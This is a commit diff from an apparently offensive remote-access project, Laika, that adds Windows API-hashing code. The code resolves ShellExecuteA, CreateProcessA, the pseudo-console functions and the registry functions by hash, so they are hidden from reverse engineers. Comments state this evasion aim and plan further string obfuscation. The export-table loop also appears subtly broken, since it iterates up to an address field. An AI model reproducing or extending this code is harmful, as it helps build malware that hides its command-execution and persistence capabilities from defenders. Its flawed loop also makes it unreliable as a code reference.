mirror of
https://github.com/CPunch/Laika.git
synced 2025-09-28 12:47:35 +00:00
Moved API obfuscation to LaikaLib target
This commit is contained in:
@@ -10,7 +10,15 @@ set_property(GLOBAL PROPERTY USE_FOLDERS ON)
|
||||
# compile LaikaLib library
|
||||
file(GLOB_RECURSE LIBSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c ${CMAKE_CURRENT_SOURCE_DIR}/vendor/**.c)
|
||||
file(GLOB_RECURSE LIBHEADERS ${CMAKE_CURRENT_SOURCE_DIR}/include/**.h)
|
||||
add_library(LaikaLib STATIC ${LIBSOURCE} ${LIBHEADERS})
|
||||
|
||||
# include platform specific backends
|
||||
if(WIN32)
|
||||
file(GLOB_RECURSE LIBPLATFORMSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/win/**.c)
|
||||
elseif(UNIX AND NOT APPLE)
|
||||
file(GLOB_RECURSE LIBPLATFORMSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/lin/**.c)
|
||||
endif ()
|
||||
|
||||
add_library(LaikaLib STATIC ${LIBSOURCE} ${LIBHEADERS} ${LIBPLATFORMSOURCE})
|
||||
target_link_libraries(LaikaLib PUBLIC sodium)
|
||||
|
||||
# make sure we're compiled *AFTER* lboxconfig.h has been generated
|
||||
|
32
lib/include/lobf.h
Normal file
32
lib/include/lobf.h
Normal file
@@ -0,0 +1,32 @@
|
||||
#ifndef LAIKA_OBF_H
|
||||
#define LAIKA_OBF_H
|
||||
|
||||
#include "laika.h"
|
||||
|
||||
#ifdef _WIN32
|
||||
# include <process.h>
|
||||
# include <windows.h>
|
||||
|
||||
/* WINAPI types */
|
||||
typedef HINSTANCE(WINAPI *_ShellExecuteA)(HWND, LPCSTR, LPCSTR, LPCSTR, LPCSTR, INT);
|
||||
typedef HRESULT(WINAPI *_CreatePseudoConsole)(COORD, HANDLE, HANDLE, DWORD, HPCON *);
|
||||
typedef void(WINAPI *_ClosePseudoConsole)(HPCON);
|
||||
typedef BOOL(WINAPI *_CreateProcessA)(LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION);
|
||||
typedef LSTATUS(WINAPI *_RegOpenKeyExA)(HKEY, LPCSTR, DWORD, REGSAM, PHKEY);
|
||||
typedef LSTATUS(WINAPI *_RegCloseKey)(HKEY);
|
||||
typedef LSTATUS(WINAPI *_RegSetValueExA)(HKEY, LPCSTR, DWORD, DWORD, const BYTE *, DWORD);
|
||||
typedef LSTATUS(WINAPI *_RegQueryValueExA)(HKEY, LPCSTR, LPDWORD, LPDWORD, LPBYTE, LPDWORD);
|
||||
|
||||
extern _ShellExecuteA oShellExecuteA;
|
||||
extern _CreatePseudoConsole oCreatePseudoConsole;
|
||||
extern _ClosePseudoConsole oClosePseudoConsole;
|
||||
extern _CreateProcessA oCreateProcessA;
|
||||
extern _RegOpenKeyExA oRegOpenKeyExA;
|
||||
extern _RegCloseKey oRegCloseKey;
|
||||
extern _RegSetValueExA oRegSetValueExA;
|
||||
extern _RegQueryValueExA oRegQueryValueExA;
|
||||
#endif
|
||||
|
||||
void laikaO_init();
|
||||
|
||||
#endif
|
6
lib/lin/linobf.c
Normal file
6
lib/lin/linobf.c
Normal file
@@ -0,0 +1,6 @@
|
||||
#include "lobf.h"
|
||||
|
||||
void laikaO_init()
|
||||
{
|
||||
/* stubbed */
|
||||
}
|
166
lib/win/winobf.c
Normal file
166
lib/win/winobf.c
Normal file
@@ -0,0 +1,166 @@
|
||||
#include "lobf.h"
|
||||
|
||||
/*
|
||||
Most of this file was adapted from
|
||||
https://github.com/LloydLabs/Windows-API-Hashing/blob/master/resolve.c
|
||||
|
||||
Checkout their repository! All I did was minor formatting changes and some misc. cleanup
|
||||
*/
|
||||
|
||||
#include <process.h>
|
||||
#include <shlobj.h>
|
||||
#include <shlwapi.h>
|
||||
#include <windows.h>
|
||||
|
||||
/* ======================================[[ API Hashing ]]====================================== */
|
||||
|
||||
#define RESOLVE_NAME_MAX 4096
|
||||
#define RESOLVE_REL_CALC(x, y) ((LPBYTE)x + y)
|
||||
|
||||
/*
|
||||
getHashName(LPCSTR) -> uint32_t
|
||||
uses the SuperFastHash algorithm to create an unsigned 32-bit hash
|
||||
*/
|
||||
uint32_t getHashName(LPCSTR cszName)
|
||||
{
|
||||
SIZE_T uNameLen, i;
|
||||
PBYTE pbData = (PBYTE)cszName;
|
||||
uint32_t u32Hash = 0, u32Buf = 0;
|
||||
INT iRemain;
|
||||
|
||||
if (cszName == NULL)
|
||||
return 0;
|
||||
|
||||
if ((uNameLen = strnlen_s(cszName, RESOLVE_NAME_MAX)) == 0)
|
||||
return 0;
|
||||
|
||||
iRemain = (uNameLen & 3);
|
||||
uNameLen >>= 2;
|
||||
|
||||
for (i = uNameLen; i > 0; i--) {
|
||||
u32Hash += *(const UINT16 *)pbData;
|
||||
u32Buf = (*(const UINT16 *)(pbData + 2) << 11) ^ u32Hash;
|
||||
u32Hash = (u32Hash << 16) ^ u32Buf;
|
||||
pbData += (2 * sizeof(UINT16));
|
||||
u32Hash += u32Hash >> 11;
|
||||
}
|
||||
|
||||
switch (iRemain) {
|
||||
case 1:
|
||||
u32Hash += *pbData;
|
||||
u32Hash ^= u32Hash << 10;
|
||||
u32Hash += u32Hash >> 1;
|
||||
break;
|
||||
case 2:
|
||||
u32Hash += *(const UINT16 *)pbData;
|
||||
u32Hash ^= u32Hash << 11;
|
||||
u32Hash += u32Hash >> 17;
|
||||
break;
|
||||
case 3:
|
||||
u32Hash += *(const UINT16 *)pbData;
|
||||
u32Hash ^= u32Hash << 16;
|
||||
u32Hash ^= pbData[sizeof(UINT16)] << 18;
|
||||
u32Hash += u32Hash >> 11;
|
||||
break;
|
||||
}
|
||||
|
||||
u32Hash ^= u32Hash << 3;
|
||||
u32Hash += u32Hash >> 5;
|
||||
u32Hash ^= u32Hash << 4;
|
||||
u32Hash += u32Hash >> 17;
|
||||
u32Hash ^= u32Hash << 25;
|
||||
u32Hash += u32Hash >> 6;
|
||||
|
||||
return u32Hash;
|
||||
}
|
||||
|
||||
/* fork of the resolve_find() with the weird struct stripped. also library cleanup for the fail
|
||||
condition was added */
|
||||
void *findByHash(LPCSTR module, uint32_t hash)
|
||||
{
|
||||
HMODULE hLibrary;
|
||||
PIMAGE_DOS_HEADER pDOSHdr;
|
||||
PIMAGE_NT_HEADERS pNTHdr;
|
||||
PIMAGE_EXPORT_DIRECTORY pIED;
|
||||
PDWORD pdwAddress, pdwNames;
|
||||
PWORD pwOrd;
|
||||
|
||||
if ((hLibrary = LoadLibraryA(module)) == NULL)
|
||||
return NULL;
|
||||
|
||||
/*
|
||||
the rest of this function just does the same thing GetProcAddress() does, but using
|
||||
our hash function to find the right function. this is also more obfuscated to the
|
||||
REer, however they would probably immediately recognize what this function is doing
|
||||
just from the LoadLibraryA() call.
|
||||
*/
|
||||
|
||||
/* grab DOS headers & verify */
|
||||
pDOSHdr = (PIMAGE_DOS_HEADER)hLibrary;
|
||||
if (pDOSHdr->e_magic != IMAGE_DOS_SIGNATURE)
|
||||
goto _findByHashFail;
|
||||
|
||||
/* grab NT headers & verify */
|
||||
pNTHdr = (PIMAGE_NT_HEADERS)RESOLVE_REL_CALC(hLibrary, pDOSHdr->e_lfanew);
|
||||
if (pNTHdr->Signature != IMAGE_NT_SIGNATURE)
|
||||
goto _findByHashFail;
|
||||
|
||||
/* verify that this NT file is a DLL & actually exports functions */
|
||||
if ((pNTHdr->FileHeader.Characteristics & IMAGE_FILE_DLL) == 0 ||
|
||||
pNTHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0 ||
|
||||
pNTHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size == 0)
|
||||
goto _findByHashFail;
|
||||
|
||||
pIED = (PIMAGE_EXPORT_DIRECTORY)RESOLVE_REL_CALC(
|
||||
hLibrary,
|
||||
pNTHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
||||
|
||||
pdwAddress = (PDWORD)RESOLVE_REL_CALC(hLibrary, pIED->AddressOfFunctions);
|
||||
pdwNames = (PDWORD)RESOLVE_REL_CALC(hLibrary, pIED->AddressOfNames);
|
||||
pwOrd = (PWORD)RESOLVE_REL_CALC(hLibrary, pIED->AddressOfNameOrdinals);
|
||||
|
||||
/* walk library export table, compare hashes until we find a match */
|
||||
for (DWORD i = 0; i < pIED->AddressOfFunctions; i++) {
|
||||
if (getHashName((LPCSTR)RESOLVE_REL_CALC(hLibrary, pdwNames[i])) == hash)
|
||||
/* return the pointer to our function. we don't worry about closing the library's
|
||||
handle because we'll need it loaded until we exit. */
|
||||
return (void *)RESOLVE_REL_CALC(hLibrary, pdwAddress[pwOrd[i]]);
|
||||
}
|
||||
|
||||
_findByHashFail:
|
||||
/* function was not found, close the library handle since we don't need it anymore */
|
||||
FreeLibrary(hLibrary);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
#undef RESOLVE_REL_CALC
|
||||
|
||||
/* ======================================[[ Exposed API ]]====================================== */
|
||||
|
||||
_ShellExecuteA oShellExecuteA;
|
||||
_CreatePseudoConsole oCreatePseudoConsole;
|
||||
_ClosePseudoConsole oClosePseudoConsole;
|
||||
_CreateProcessA oCreateProcessA;
|
||||
_RegOpenKeyExA oRegOpenKeyExA;
|
||||
_RegCloseKey oRegCloseKey;
|
||||
_RegSetValueExA oRegSetValueExA;
|
||||
_RegQueryValueExA oRegQueryValueExA;
|
||||
|
||||
/* TODO:
|
||||
GetEnvironmentVariable
|
||||
*/
|
||||
|
||||
void laikaO_init()
|
||||
{
|
||||
uint32_t hash;
|
||||
|
||||
/* TODO: these library strings should probably be obfuscated (by a skid box maybe?) */
|
||||
oShellExecuteA = (_ShellExecuteA)findByHash("shell32.dll", 0x89858cd3);
|
||||
oCreatePseudoConsole = (_CreatePseudoConsole)findByHash("kernel32.dll", 0x7310ef7);
|
||||
oClosePseudoConsole = (_ClosePseudoConsole)findByHash("kernel32.dll", 0xeff42590);
|
||||
oCreateProcessA = (_CreateProcessA)findByHash("kernel32.dll", 0x9e687c1d);
|
||||
oRegOpenKeyExA = (_RegOpenKeyExA)(findByHash("advapi32.dll", 0x15041404));
|
||||
oRegCloseKey = (_RegCloseKey)(findByHash("advapi32.dll", 0xae0cf309));
|
||||
oRegSetValueExA = (_RegSetValueExA)(findByHash("advapi32.dll", 0xcb91dcf7));
|
||||
oRegQueryValueExA = (_RegQueryValueExA)(findByHash("advapi32.dll", 0x4298d735));
|
||||
}
|
Reference in New Issue
Block a user